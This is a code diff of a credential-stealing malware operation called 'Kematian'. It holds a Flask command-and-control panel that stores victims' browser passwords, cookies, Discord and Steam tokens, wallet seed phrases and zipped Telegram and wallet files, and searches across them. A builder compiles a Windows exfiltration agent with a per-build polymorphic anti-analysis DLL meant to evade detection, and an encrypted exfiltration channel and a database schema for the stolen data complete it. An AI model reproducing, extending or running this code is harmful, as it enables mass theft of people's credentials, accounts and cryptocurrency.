||||
|
||||
insert_cat("appCredentials", "app_credentials", lambda d: (
|
||||
["application", "host", "port", "username", "password", "protocol", "extra"],
|
||||
[d.get("application"), d.get("host"), d.get("port"), d.get("username"), d.get("password"), d.get("protocol"), d.get("extra")],
|
||||
))
|
||||
|
||||
insert_cat("seeds", "seeds", lambda d: (
|
||||
["source", "path", "phrase", "words"],
|
||||
[d.get("source"), d.get("path"), d.get("phrase"), d.get("words")],
|
||||
))
|
||||
|
||||
# nested objects (gaming/vpns) — store the whole sub-object as one row
|
||||
def insert_single(table, vpn_or_key, payload):
|
||||
nonlocal total_new
|
||||
cols = ["client_id", vpn_or_key, "payload"]
|
||||
conn.execute(
|
||||
f"INSERT INTO {table} ({', '.join(cols)}) VALUES (?,?,?)",
|
||||
[client_id, vpn_or_key, json.dumps(payload, separators=(',', ':'))],
|
||||
)
|
||||
total_new += 1
|
||||
|
||||
gaming = data.get("gaming")
|
||||
if isinstance(gaming, dict) and gaming:
|
||||
insert_single("gaming", "platform", gaming)
|
||||
vpns = data.get("vpns")
|
||||
if isinstance(vpns, dict) and vpns:
|
||||
insert_single("vpns", "vpn", vpns)
|
||||
|
||||
# steam login/refresh tokens (list of {steamId, token}) -> own table
|
||||
steam_tokens = data.get("steamTokens")
|
||||
if isinstance(steam_tokens, list):
|
||||
for st in steam_tokens:
|
||||
if not isinstance(st, dict):
|
||||
continue
|
||||
conn.execute(
|
||||
"INSERT INTO steam_tokens (client_id, steam_id, token) VALUES (?,?,?)",
|
||||
(client_id, st.get("steamId"), st.get("token")),
|
||||
)
|
||||
total_new += 1
|
||||
|
||||
# binary payloads (wallet/telegram/steam zips) -> persisted under loot/
|
||||
payloads = data.get("payloads")
|
||||
if isinstance(payloads, list):
|
||||
for blob_doc in payloads:
|
||||
if not isinstance(blob_doc, dict):
|
||||
continue
|
||||
try:
|
||||
blobs.save_payload(client_id, blob_doc, conn=conn)
|
||||
payload_saved += 1
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
conn.execute(
|
||||
"UPDATE clients SET total_entries = total_entries + ? WHERE client_id = ?",
|
||||
(total_new, client_id),
|
||||
)
|
||||
conn.commit()
|
||||
except Exception as e:
|
||||
conn.rollback()
|
||||
conn.close()
|
||||
return jsonify({"error": str(e)}), 500
|
||||
conn.close()
|
||||
|
||||
return jsonify({"ok": True, "clientId": client_id, "entries": total_new, "payloads": payload_saved}), 200
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- misc
|
||||
@app.route("/health")
|
||||
def health():
|
||||
# Only responds when the caller proves it's an agent (correct ingress key),
|
||||
# so random scanners / curls get a nondescript 404 instead of a liveness beacon.
|
||||
if not authorized_auth() or not ip_allowed():
|
||||
return abort(404)
|
||||
return jsonify({"ok": True, "ts": now_ts()})
|
||||
|
||||
|
||||
@app.route("/e2ee/pub")
|
||||
def e2ee_pub():
|
||||
"""Panel's E2EE public key (hex). Agent fetches this at runtime to encrypt
|
||||
toward the panel. Locked behind the same ingress key so it isn't public."""
|
||||
if not authorized_auth() or not ip_allowed():
|
||||
return abort(404)
|
||||
return jsonify({"algo": "x25519-hkdf-chacha20poly1305", "publicKey": crypto.public_key_hex()})
|
||||
|
||||
|
||||
@app.route("/search")
|
||||
@login_required
|
||||
def search():
|
||||
q = (request.args.get("q") or "").strip()
|
||||
results = []
|
||||
conn = db.get_conn()
|
||||
if q:
|
||||
like = f"%{q}%"
|
||||
pwd = conn.execute(
|
||||
"SELECT client_id, url, username, password, browser FROM passwords WHERE url LIKE ? OR username LIKE ? LIMIT 50",
|
||||
(like, like),
|
||||
).fetchall()
|
||||
for p in pwd:
|
||||
results.append({"type": "Password", "detail": f"{p['username']} @ {p['url']}", "client": p["client_id"]})
|
||||
tok = conn.execute(
|
||||
"SELECT client_id, token, source FROM discord_tokens WHERE token LIKE ? LIMIT 50", (like,)
|
||||
).fetchall()
|
||||
for t in tok:
|
||||
results.append({"type": "Discord", "detail": t["token"][:40], "client": t["client_id"]})
|
||||
host = conn.execute(
|
||||
"SELECT client_id, host, name, value FROM cookies WHERE host LIKE ? OR name LIKE ? LIMIT 50",
|
||||
(like, like),
|
||||
).fetchall()
|
||||
for c in host:
|
||||
results.append({"type": "Cookie", "detail": f"{c['name']} @ {c['host']}", "client": c["client_id"]})
|
||||
conn.close()
|
||||
return render_template("search.html", q=q, results=results)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------- web builder
|
||||
@app.route("/build")
|
||||
@login_required
|
||||
def build_page():
|
||||
return render_template("builder.html", default_endpoint=PANEL_PUBLIC_URL, builds=builder.all_jobs())
|
||||
|
||||
|
||||
@app.route("/build", methods=["POST"])
|
||||
@login_required
|
||||
def build_start():
|
||||
endpoint = (request.form.get("endpoint") or "").strip()
|
||||
auth = (request.form.get("auth") or "").strip()
|
||||
bot_token = (request.form.get("bot_token") or "").strip()
|
||||
chat_id = (request.form.get("chat_id") or "").strip()
|
||||
build_name = (request.form.get("build_name") or "kematian").strip()
|
||||
|
||||
if not endpoint:
|
||||
endpoint = PANEL_PUBLIC_URL
|
||||
# normalize: if user entered just host, append /api/ingest
|
||||
if not endpoint.endswith("/api/ingest"):
|
||||
endpoint = endpoint.rstrip("/") + "/api/ingest"
|
||||
if not auth:
|
||||
return render_template("builder.html", error="Panel auth key is required.",
|
||||
default_endpoint=endpoint, builds=builder.all_jobs()), 400
|
||||
|
||||
build_id = builder.start_build(endpoint, auth, bot_token, chat_id, build_name)
|
||||
return render_template("builder.html", started=build_id, default_endpoint=endpoint, builds=builder.all_jobs())
|
||||
|
||||
|
||||
@app.route("/build/status/<int:build_id>")
|
||||
@login_required
|
||||
def build_status(build_id):
|
||||
job = builder.job_status(build_id)
|
||||
if not job:
|
||||
return jsonify({"error": "no such build"}), 404
|
||||
exe_name = os.path.basename(job["exe"]) if job["exe"] else None
|
||||
return jsonify({
|
||||
"status": job["status"],
|
||||
"error": job["error"],
|
||||
"exe": exe_name,
|
||||
"download": f"/build/download/{exe_name}" if exe_name else None,
|
||||
})
|
||||
|
||||
|
||||
@app.route("/build/download/<path:filename>")
|
||||
@login_required
|
||||
def build_download(filename):
|
||||
from flask import send_file
|
||||
safe = os.path.basename(filename)
|
||||
path = os.path.join(builder.BUILDS_DIR, safe)
|
||||
if not os.path.exists(path):
|
||||
abort(404)
|
||||
return send_file(path, as_attachment=True, download_name=safe)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
db.init_db()
|
||||
os.makedirs(builder.BUILDS_DIR, exist_ok=True)
|
||||
port = int(os.environ.get("PANEL_PORT", 5000))
|
||||
app.run(host="0.0.0.0", port=port, debug=False)
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
"""
|
||||
Binary payload storage for the panel.
|
||||
|
||||
Payloads (wallet / telegram / steam zips) that the agent ships over E2EE are
|
||||
written to disk under loot/<client_id>/ so they're persisted as a backup, and
|
||||
tracked in the blobs table so the dashboard can list + download them.
|
||||
"""
|
||||
import base64
|
||||
import os
|
||||
import time
|
||||
|
||||
import db
|
||||
|
||||
# Root directory for all hosted payloads. Auto-created on first write.
|
||||
LOOT_ROOT = os.path.join(os.path.dirname(__file__), "loot")
|
||||
|
||||
# Match the request size that the agent is allowed to send in one payload.
|
||||
# Guard: refuse a single blob beyond this (avoids filling the disk).
|
||||
MAX_BLOB = 64 * 1024 * 1024 # 64 MB
|
||||
|
||||
|
||||
def save_payload(client_id, blob, conn=None):
|
||||
"""Persist one payload dict from the agent. blob has keys:
|
||||
category, name, filename, size, data (base64 str). Returns the blob row id.
|
||||
|
||||
If `conn` is provided (an already-open transaction, e.g. during ingest) the
|
||||
DB insert runs on that connection and is NOT committed; otherwise a fresh
|
||||
connection is used and committed."""
|
||||
filename = (blob.get("filename") or blob.get("name") or "payload").replace("/", "_").replace("\\", "_")
|
||||
data_b64 = blob.get("data", "")
|
||||
try:
|
||||
raw = base64.b64decode(data_b64)
|
||||
except Exception as e:
|
||||
raise ValueError(f"bad base64 payload: {e}")
|
||||
if len(raw) > MAX_BLOB:
|
||||
raise ValueError("payload too large")
|
||||
|
||||
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
|
||||
path = os.path.join(LOOT_ROOT, client_id, filename)
|
||||
with open(path, "wb") as f:
|
||||
f.write(raw)
|
||||
|
||||
ts = int(time.time())
|
||||
if conn is not None:
|
||||
cur = conn.execute(
|
||||
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
||||
"VALUES (?,?,?,?,?,?)",
|
||||
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
|
||||
)
|
||||
return cur.lastrowid
|
||||
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
cur = conn.execute(
|
||||
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
||||
"VALUES (?,?,?,?,?,?)",
|
||||
(client_id, blob.get("category"), blob.get("name"), filename, len(raw), ts),
|
||||
)
|
||||
conn.commit()
|
||||
return cur.lastrowid
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def upload_public(filename, data, category="upload"):
|
||||
"""Store an admin-uploaded file under loot/upload/ and track it in blobs.
|
||||
|
||||
Returns the blob row id."""
|
||||
raw = data if isinstance(data, (bytes, bytearray)) else data.encode()
|
||||
if len(raw) > MAX_BLOB:
|
||||
raise ValueError("file too large")
|
||||
filename = (filename or "download").replace("/", "_").replace("\\", "_")
|
||||
client_id = "upload"
|
||||
os.makedirs(os.path.join(LOOT_ROOT, client_id), exist_ok=True)
|
||||
path = os.path.join(LOOT_ROOT, client_id, filename)
|
||||
with open(path, "wb") as f:
|
||||
f.write(raw)
|
||||
|
||||
ts = int(time.time())
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
cur = conn.execute(
|
||||
"INSERT INTO blobs (client_id, category, name, filename, size, created) "
|
||||
"VALUES (?,?,?,?,?,?)",
|
||||
(client_id, category or "upload", filename, filename, len(raw), ts),
|
||||
)
|
||||
conn.commit()
|
||||
return cur.lastrowid
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def blobs_for(client_id=None):
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
if client_id:
|
||||
rows = conn.execute(
|
||||
"SELECT * FROM blobs WHERE client_id = ? ORDER BY id DESC", (client_id,)
|
||||
).fetchall()
|
||||
else:
|
||||
rows = conn.execute("SELECT * FROM blobs ORDER BY id DESC").fetchall()
|
||||
return [dict(r) for r in rows]
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
|
||||
def blob_path(client_id, blob_id):
|
||||
conn = db.get_conn()
|
||||
try:
|
||||
row = conn.execute(
|
||||
"SELECT * FROM blobs WHERE id = ? AND client_id = ?", (blob_id, client_id)
|
||||
).fetchone()
|
||||
finally:
|
||||
conn.close()
|
||||
if not row:
|
||||
return None
|
||||
d = dict(row)
|
||||
path = os.path.join(LOOT_ROOT, d["client_id"], d["filename"])
|
||||
if not os.path.exists(path):
|
||||
return None
|
||||
return path
|
||||
@@ -0,0 +1,332 @@
|
||||
"""
|
||||
Web builder for the kematian agent.
|
||||
|
||||
Project: https://t.me/electronic_sex
|
||||
|
||||
Copies the Go native tree to a private temp dir, patches in the entered config
|
||||
(endpoint + ingest key + optional Telegram), runs `go build`, and drops the
|
||||
resulting .exe into builds/ so it can be downloaded. The original source is
|
||||
never touched.
|
||||
|
||||
Results + build output are kept per build so the UI can show a log and offer a
|
||||
download link.
|
||||
"""
|
||||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import tempfile
|
||||
import time
|
||||
import threading
|
||||
|
||||
# Directory that holds the native Go source tree (go.mod lives here).
|
||||
# Resolved robustly: use BUILDER_NATIVE_DIR if set, else probe common relative
|
||||
# locations so a relative default never one level too deep (../.. would skip the
|
||||
# repo folder). Probe both "../../" and "../" style layouts.
|
||||
_here = os.path.dirname(os.path.abspath(__file__))
|
||||
NATIVE_DIR = os.environ.get("BUILDER_NATIVE_DIR", "")
|
||||
_TRIED_ROOTS = [
|
||||
os.path.join(_here, "..", "..", "Kematian-Standalone", "native"),
|
||||
os.path.join(_here, "..", "Kematian-Standalone", "native"),
|
||||
os.path.join(_here, "..", "..", "..", "Kematian-Standalone", "native"),
|
||||
]
|
||||
# Where built .exe files are published for download.
|
||||
BUILDS_DIR = os.environ.get("BUILDER_OUTPUT_DIR", os.path.join(_here, "builds"))
|
||||
|
||||
_build_lock = threading.Lock()
|
||||
_last_build_id = [0]
|
||||
_jobs = {} # id -> {status, log, exe, error, created}
|
||||
|
||||
|
||||
def _resolve_native_dir():
|
||||
"""Return the path to the Go source tree, or None if not found.
|
||||
|
||||
A candidate is only valid if it has go.mod AND the source files we patch
|
||||
(recovery/exfil/panel.go + cmd/exfil/main.go). Some old copies only ship
|
||||
go.mod and would produce a confusing build error, so we skip them.
|
||||
"""
|
||||
def is_valid(p):
|
||||
return (os.path.exists(os.path.join(p, "go.mod"))
|
||||
and os.path.exists(os.path.join(p, "recovery", "exfil", "panel.go"))
|
||||
and os.path.exists(os.path.join(p, "cmd", "exfil", "main.go")))
|
||||
|
||||
if NATIVE_DIR:
|
||||
cand = os.path.normpath(NATIVE_DIR)
|
||||
if is_valid(cand):
|
||||
return cand
|
||||
for root in _TRIED_ROOTS:
|
||||
cand = os.path.normpath(root)
|
||||
if is_valid(cand):
|
||||
return cand
|
||||
return None
|
||||
|
||||
|
||||
def _patch(text, replacements):
|
||||
for old, new in replacements:
|
||||
if old not in text:
|
||||
return None, f"pattern not found: {old!r}"
|
||||
text = text.replace(old, new)
|
||||
return text, None
|
||||
|
||||
|
||||
def _sh_rmtree_git(dirpath):
|
||||
"""Remove stray .git dirs at the source root of a copied tree."""
|
||||
import shutil as _sh
|
||||
_sh.rmtree(os.path.join(dirpath, ".git"), ignore_errors=True)
|
||||
|
||||
|
||||
def _find_cargo():
|
||||
"""Locate the cargo executable (prefer env override, then PATH)."""
|
||||
override = os.environ.get("BUILDER_CARGO")
|
||||
if override and os.path.exists(override):
|
||||
return override
|
||||
from shutil import which
|
||||
return which("cargo")
|
||||
|
||||
|
||||
def _write_gen(gen_path):
|
||||
"""Regenerate src/gen.rs with fresh random constants so each build produces a
|
||||
distinct binary. This is the polymorphic/metamorphic layer for the Rust DLL."""
|
||||
import secrets
|
||||
|
||||
def rnd():
|
||||
return secrets.randbelow((1 << 32) - 1)
|
||||
|
||||
def rnd8():
|
||||
# avoid 0x00 so XOR keystream keys are never trivially identity
|
||||
return secrets.randbelow(255) + 1
|
||||
|
||||
def rnd16():
|
||||
return secrets.randbelow((1 << 16) - 1) | 1
|
||||
|
||||
def rnd64():
|
||||
return (secrets.randbelow((1 << 32) - 1) << 32) | secrets.randbelow((1 << 32) - 1)
|
||||
|
||||
seed = rnd() | 1
|
||||
k_token = rnd8()
|
||||
k_vendor = rnd8()
|
||||
k_smbios = rnd8()
|
||||
k_env = rnd8()
|
||||
k_display = rnd8()
|
||||
junk_xor = rnd() | 1
|
||||
junk_rot = rnd() | 1
|
||||
junk_n = secrets.randbelow(16) + 4
|
||||
opaque_tag = rnd64()
|
||||
|
||||
# Additional polymorphic constants for new features
|
||||
# Control flow flattening state key
|
||||
cff_key = rnd() | 1
|
||||
# Syscall spoofing trampoline selector
|
||||
syscall_tramp = secrets.randbelow(8) + 1
|
||||
# Sleep encryption round count
|
||||
sleep_rounds = secrets.randbelow(4) + 3
|
||||
# Anti-hook check order permutation seed
|
||||
hook_order_seed = rnd() | 1
|
||||
# Stack spoofing offset
|
||||
stack_spoof_off = secrets.randbelow(0x1000) + 0x100
|
||||
# Junk block variant selector
|
||||
junk_variant = secrets.randbelow(4)
|
||||
# Opaque predicate complexity
|
||||
opaque_complexity = secrets.randbelow(3) + 1
|
||||
|
||||
content = (
|
||||
"// AUTO-GENERATED per build by builder.py. Do not edit.\n"
|
||||
"// Each build rewrites this file, so the guard's keys, seeds and junk\n"
|
||||
"// blocks are unique to every artifact.\n\n"
|
||||
f"pub const GEN_SEED: u32 = 0x{seed:08X};\n\n"
|
||||
f"pub const K_TOKEN: u8 = {k_token};\n"
|
||||
f"pub const K_VENDOR: u8 = {k_vendor};\n"
|
||||
f"pub const K_SMBIOS: u8 = {k_smbios};\n"
|
||||
f"pub const K_ENV: u8 = {k_env};\n"
|
||||
f"pub const K_DISPLAY: u8 = {k_display};\n\n"
|
||||
f"pub const JUNK_XOR: u32 = 0x{junk_xor:08X};\n"
|
||||
f"pub const JUNK_ROT: u32 = 0x{junk_rot:08X};\n"
|
||||
f"pub const JUNK_N: u32 = {junk_n};\n\n"
|
||||
f"pub const OPAQUE_TAG: u64 = 0x{opaque_tag:016X};\n\n"
|
||||
"// Polymorphic control-flow / evasion layer constants\n"
|
||||
f"pub const CFF_KEY: u32 = 0x{cff_key:08X};\n"
|
||||
f"pub const SYSCALL_TRAMP: u8 = {syscall_tramp};\n"
|
||||
f"pub const SLEEP_ROUNDS: u8 = {sleep_rounds};\n"
|
||||
f"pub const HOOK_ORDER_SEED: u32 = 0x{hook_order_seed:08X};\n"
|
||||
f"pub const STACK_SPOOF_OFF: u32 = 0x{stack_spoof_off:04X};\n"
|
||||
f"pub const JUNK_VARIANT: u8 = {junk_variant};\n"
|
||||
f"pub const OPAQUE_COMPLEXITY: u8 = {opaque_complexity};\n"
|
||||
)
|
||||
with open(gen_path, "w", encoding="utf-8", errors="replace") as f:
|
||||
f.write(content)
|
||||
|
||||
|
||||
def _get_rustflags():
|
||||
"""Generate per-build RUSTFLAGS for codegen variance."""
|
||||
import secrets
|
||||
flags = [
|
||||
"-C", "opt-level=2", # or 's' or 'z' randomly
|
||||
"-C", "lto=thin",
|
||||
"-C", "codegen-units=1",
|
||||
"-C", "panic=abort",
|
||||
"-C", "strip=symbols",
|
||||
]
|
||||
# Randomly vary optimization level
|
||||
opt_level = secrets.choice(["2", "3", "s", "z"])
|
||||
flags[1] = opt_level
|
||||
|
||||
# Randomly vary codegen units (affects function layout)
|
||||
cgu = secrets.choice(["1", "2", "4", "8"])
|
||||
flags[5] = cgu
|
||||
|
||||
# Randomly enable/disable specific optimizations
|
||||
if secrets.randbelow(2):
|
||||
flags.extend(["-C", "llvm-args=-enable-gvn-hoist=false"])
|
||||
if secrets.randbelow(2):
|
||||
flags.extend(["-C", "llvm-args=-enable-loop-interchange=false"])
|
||||
if secrets.randbelow(2):
|
||||
flags.extend(["-C", "llvm-args=-enable-loop-unroll=false"])
|
||||
|
||||
# Random target-cpu for instruction selection variance
|
||||
cpu = secrets.choice(["x86-64-v2", "x86-64-v3", "x86-64-v4", "nehalem", "haswell", "skylake"])
|
||||
flags.extend(["-C", f"target-cpu={cpu}"])
|
||||
|
||||
return flags
|
||||
|
||||
|
||||
def _build(work_dir, endpoint, auth, bot_token, chat_id, build_name, rust_dir):
|
||||
# --- build the Rust anti-analysis extractor so every build ships a fresh,
|
||||
# guarded DLL (it is go:embed'ed into the agent at compile time). The DLL it
|
||||
# produces is copied to recovery/platform/compat-layer.dll inside
|
||||
# the copied tree before `go build` runs. rust_dir is the *real* sibling of
|
||||
# the source native tree (not inside the temp copy).
|
||||
if os.path.exists(os.path.join(rust_dir, "Cargo.toml")):
|
||||
cargo = _find_cargo()
|
||||
if cargo:
|
||||
try:
|
||||
# Polymorphic layer: regenerate the per-build constants before
|
||||
# compiling so every artifact gets a unique binary / hash.
|
||||
gen_path = os.path.join(rust_dir, "src", "gen.rs")
|
||||
try:
|
||||
_write_gen(gen_path)
|
||||
except Exception:
|
||||
pass # keep existing gen.rs if regeneration fails
|
||||
|
||||
subprocess.run(
|
||||
[cargo, "build", "--release", "--target", "x86_64-pc-windows-gnu"],
|
||||
cwd=rust_dir, capture_output=True, text=True, timeout=900,
|
||||
env={**os.environ, "RUSTFLAGS": " ".join(_get_rustflags())},
|
||||
)
|
||||
built_dll = os.path.join(
|
||||
rust_dir, "target", "x86_64-pc-windows-gnu", "release", "compat_layer.dll"
|
||||
)
|
||||
dest_dll = os.path.join(work_dir, "recovery", "platform", "compat-layer.dll")
|
||||
if os.path.exists(built_dll) and os.path.exists(dest_dll):
|
||||
shutil.copy2(built_dll, dest_dll)
|
||||
except Exception:
|
||||
pass # keep the already-present DLL if Rust rebuild fails
|
||||
|
||||
main_path = os.path.join(work_dir, "cmd", "exfil", "main.go")
|
||||
panel_path = os.path.join(work_dir, "recovery", "exfil", "panel.go")
|
||||
|
||||
if not os.path.exists(panel_path):
|
||||
return "source missing: recovery/exfil/panel.go not found in the copied tree"
|
||||
if not os.path.exists(main_path):
|
||||
return "source missing: cmd/exfil/main.go not found in the copied tree"
|
||||
|
||||
# --- patch panel.go: endpoint + auth
|
||||
with open(panel_path, "r", encoding="utf-8", errors="replace") as f:
|
||||
text = f.read()
|
||||
text, err = _patch(text, [
|
||||
('PanelEndpoint = "http://127.0.0.1:5000/api/ingest"', f'PanelEndpoint = "{endpoint}"'),
|
||||
('PanelAuth = "CHANGE-ME"', f'PanelAuth = "{auth}"'),
|
||||
])
|
||||
if err:
|
||||
return err
|
||||
with open(panel_path, "w", encoding="utf-8") as f:
|
||||
f.write(text)
|
||||
|
||||
# --- patch main.go: telegram (only if provided)
|
||||
with open(main_path, "r", encoding="utf-8", errors="replace") as f:
|
||||
text = f.read()
|
||||
if bot_token and chat_id and bot_token != "YOUR_BOT_TOKEN_HERE":
|
||||
text, err = _patch(text, [
|
||||
('defaultBotToken = "YOUR_BOT_TOKEN_HERE"', f'defaultBotToken = "{bot_token}"'),
|
||||
('defaultChatID = "YOUR_CHAT_ID_HERE"', f'defaultChatID = "{chat_id}"'),
|
||||
])
|
||||
if err:
|
||||
return err
|
||||
else:
|
||||
# telegram disabled: nothing to patch, code checks for placeholder anyway
|
||||
pass
|
||||
with open(main_path, "w", encoding="utf-8") as f:
|
||||
f.write(text)
|
||||
|
||||
# --- build
|
||||
env = dict(os.environ)
|
||||
env["CGO_ENABLED"] = "1"
|
||||
env.setdefault("GOOS", "windows")
|
||||
env.setdefault("GOARCH", "amd64")
|
||||
|
||||
out_path = os.path.join(work_dir, "kematian.exe")
|
||||
cmd = ["go", "build", "-ldflags=-H=windowsgui -s -w", "-o", out_path, "./cmd/exfil"]
|
||||
proc = subprocess.run(cmd, cwd=work_dir, env=env, capture_output=True, text=True, timeout=1200)
|
||||
log = proc.stdout + proc.stderr
|
||||
if proc.returncode != 0:
|
||||
return "BUILD FAILED\n" + log
|
||||
|
||||
if not os.path.exists(out_path):
|
||||
return "build ok but no exe produced\n" + log
|
||||
|
||||
os.makedirs(BUILDS_DIR, exist_ok=True)
|
||||
safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_")
|
||||
filename = f"{safe}.exe"
|
||||
dest = os.path.join(BUILDS_DIR, filename)
|
||||
shutil.copy2(out_path, dest)
|
||||
return None # success; log returned separately
|
||||
|
||||
|
||||
def start_build(endpoint, auth, bot_token, chat_id, build_name):
|
||||
with _build_lock:
|
||||
_last_build_id[0] += 1
|
||||
build_id = _last_build_id[0]
|
||||
_jobs[build_id] = {
|
||||
"status": "running",
|
||||
"log": "",
|
||||
"exe": None,
|
||||
"error": None,
|
||||
"created": int(time.time()),
|
||||
}
|
||||
|
||||
def worker():
|
||||
job = _jobs[build_id]
|
||||
native = _resolve_native_dir()
|
||||
if not native:
|
||||
job["status"] = "error"
|
||||
job["error"] = "Could not locate the agent Go source tree (go.mod). Set BUILDER_NATIVE_DIR."
|
||||
return
|
||||
tmp = tempfile.mkdtemp(prefix="kematian-build-")
|
||||
try:
|
||||
shutil.copytree(native, tmp, dirs_exist_ok=True)
|
||||
_sh_rmtree_git(tmp)
|
||||
# Real rust-extractor sits next to the native tree on disk.
|
||||
rust_dir = os.path.normpath(os.path.join(os.path.dirname(native), "rust-extractor"))
|
||||
err = _build(tmp, endpoint, auth, bot_token, chat_id, build_name, rust_dir)
|
||||
if err:
|
||||
job["status"] = "error"
|
||||
job["error"] = err
|
||||
else:
|
||||
safe = "".join(c for c in (build_name or "kematian") if c.isalnum() or c in "-_")
|
||||
exe = os.path.join(BUILDS_DIR, f"{safe}.exe")
|
||||
job["status"] = "done"
|
||||
job["exe"] = exe
|
||||
except Exception as e:
|
||||
job["status"] = "error"
|
||||
job["error"] = str(e)
|
||||
finally:
|
||||
shutil.rmtree(tmp, ignore_errors=True)
|
||||
|
||||
threading.Thread(target=worker, daemon=True).start()
|
||||
return build_id
|
||||
|
||||
|
||||
def job_status(build_id):
|
||||
return _jobs.get(build_id)
|
||||
|
||||
|
||||
def all_jobs():
|
||||
return dict(_jobs)
|
||||
@@ -0,0 +1,72 @@
|
||||
"""
|
||||
End-to-end encryption for the collector channel.
|
||||
|
||||
Project: https://t.me/electronic_sex
|
||||
|
||||
Scheme (interoperable with the Go agent, see native/recovery/exfil/panel.go):
|
||||
- agent generates an ephemeral X25519 keypair per message
|
||||
- shared = ECDH(agent_ephemeral_priv, panel_public)
|
||||
- key = HKDF-SHA256(shared, salt="kematian-e2ee-salt", info="kematian-e2ee-v1", 32)
|
||||
- ct = ChaCha20-Poly1305(key, nonce=12B random)
|
||||
- wire = base64( ephemeral_pub(32) || nonce(12) || ct )
|
||||
The panel private key is the ONLY thing able to decrypt. The agent never
|
||||
knows it; the panel never sends secrets over the wire.
|
||||
"""
|
||||
import base64
|
||||
import os
|
||||
|
||||
from cryptography.hazmat.primitives import hashes, serialization
|
||||
from cryptography.hazmat.primitives.asymmetric.x25519 import X25519PrivateKey, X25519PublicKey
|
||||
from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
|
||||
from cryptography.hazmat.primitives.kdf.hkdf import HKDF
|
||||
|
||||
PRIV_KEY_FILE = os.path.join(os.path.dirname(__file__), "kematian_e2ee.key")
|
||||
|
||||
SALT = b"kematian-e2ee-salt"
|
||||
INFO = b"kematian-e2ee-v1"
|
||||
KEY_LEN = 32
|
||||
NONCE_LEN = 12
|
||||
PUB_LEN = 32
|
||||
|
||||
|
||||
def load_or_create_keypair() -> X25519PrivateKey:
|
||||
if os.path.exists(PRIV_KEY_FILE):
|
||||
with open(PRIV_KEY_FILE, "rb") as f:
|
||||
return X25519PrivateKey.from_private_bytes(f.read())
|
||||
sk = X25519PrivateKey.generate()
|
||||
with open(PRIV_KEY_FILE, "wb") as f:
|
||||
f.write(sk.private_bytes(
|
||||
serialization.Encoding.Raw,
|
||||
serialization.PrivateFormat.Raw,
|
||||
serialization.NoEncryption(),
|
||||
))
|
||||
return sk
|
||||
|
||||
|
||||
def public_key_hex() -> str:
|
||||
return load_or_create_keypair().public_key().public_bytes(
|
||||
serialization.Encoding.Raw, serialization.PublicFormat.Raw
|
||||
).hex()
|
||||
|
||||
|
||||
def _derive_key(shared: bytes) -> bytes:
|
||||
return HKDF(
|
||||
algorithm=hashes.SHA256(),
|
||||
length=KEY_LEN,
|
||||
salt=SALT,
|
||||
info=INFO,
|
||||
).derive(shared)
|
||||
|
||||
|
||||
def decrypt_wire(payload_b64: str) -> bytes:
|
||||
raw = base64.b64decode(payload_b64)
|
||||
if len(raw) < PUB_LEN + NONCE_LEN + 16:
|
||||
raise ValueError("payload too short")
|
||||
ephemeral_pub = raw[:PUB_LEN]
|
||||
nonce = raw[PUB_LEN:PUB_LEN + NONCE_LEN]
|
||||
ct = raw[PUB_LEN + NONCE_LEN:]
|
||||
|
||||
sk = load_or_create_keypair()
|
||||
shared = sk.exchange(X25519PublicKey.from_public_bytes(ephemeral_pub))
|
||||
key = _derive_key(shared)
|
||||
return ChaCha20Poly1305(key).decrypt(nonce, ct, None)
|
||||
@@ -0,0 +1,246 @@
|
||||
"""
|
||||
Kematian Collector Panel - SQLite schema and access layer.
|
||||
|
||||
Every category from the agent's CollectionResult gets its own table, all
|
||||
keyed to a client row. Lookups are done through this module so the web
|
||||
templates stay clean and the ingest endpoint stays idempotent.
|
||||
"""
|
||||
import os
|
||||
import sqlite3
|
||||
import threading
|
||||
|
||||
DB_PATH = os.path.join(os.path.dirname(__file__), "kematian.db")
|
||||
_lock = threading.Lock()
|
||||
|
||||
SCHEMA = """
|
||||
CREATE TABLE IF NOT EXISTS clients (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL UNIQUE,
|
||||
os TEXT,
|
||||
arch TEXT,
|
||||
version TEXT,
|
||||
ip TEXT,
|
||||
country TEXT,
|
||||
user_agent TEXT,
|
||||
first_seen INTEGER,
|
||||
last_seen INTEGER,
|
||||
total_entries INTEGER DEFAULT 0
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS passwords (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
url TEXT,
|
||||
username TEXT,
|
||||
password TEXT,
|
||||
browser TEXT,
|
||||
profile TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS cookies (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
host TEXT,
|
||||
name TEXT,
|
||||
value TEXT,
|
||||
path TEXT,
|
||||
secure INTEGER,
|
||||
http_only INTEGER,
|
||||
expires_utc INTEGER,
|
||||
browser TEXT,
|
||||
profile TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS autofill (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
name TEXT,
|
||||
value TEXT,
|
||||
date_created INTEGER,
|
||||
browser TEXT,
|
||||
profile TEXT
|
||||
);
|
||||
|
||||
CREATE TABLE IF NOT EXISTS history (
|
||||
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
||||
client_id TEXT NOT NULL,
|
||||
url TEXT,
|
||||
title TEXT,
|
||||
visit_time_unix INTEGER,
|
||||
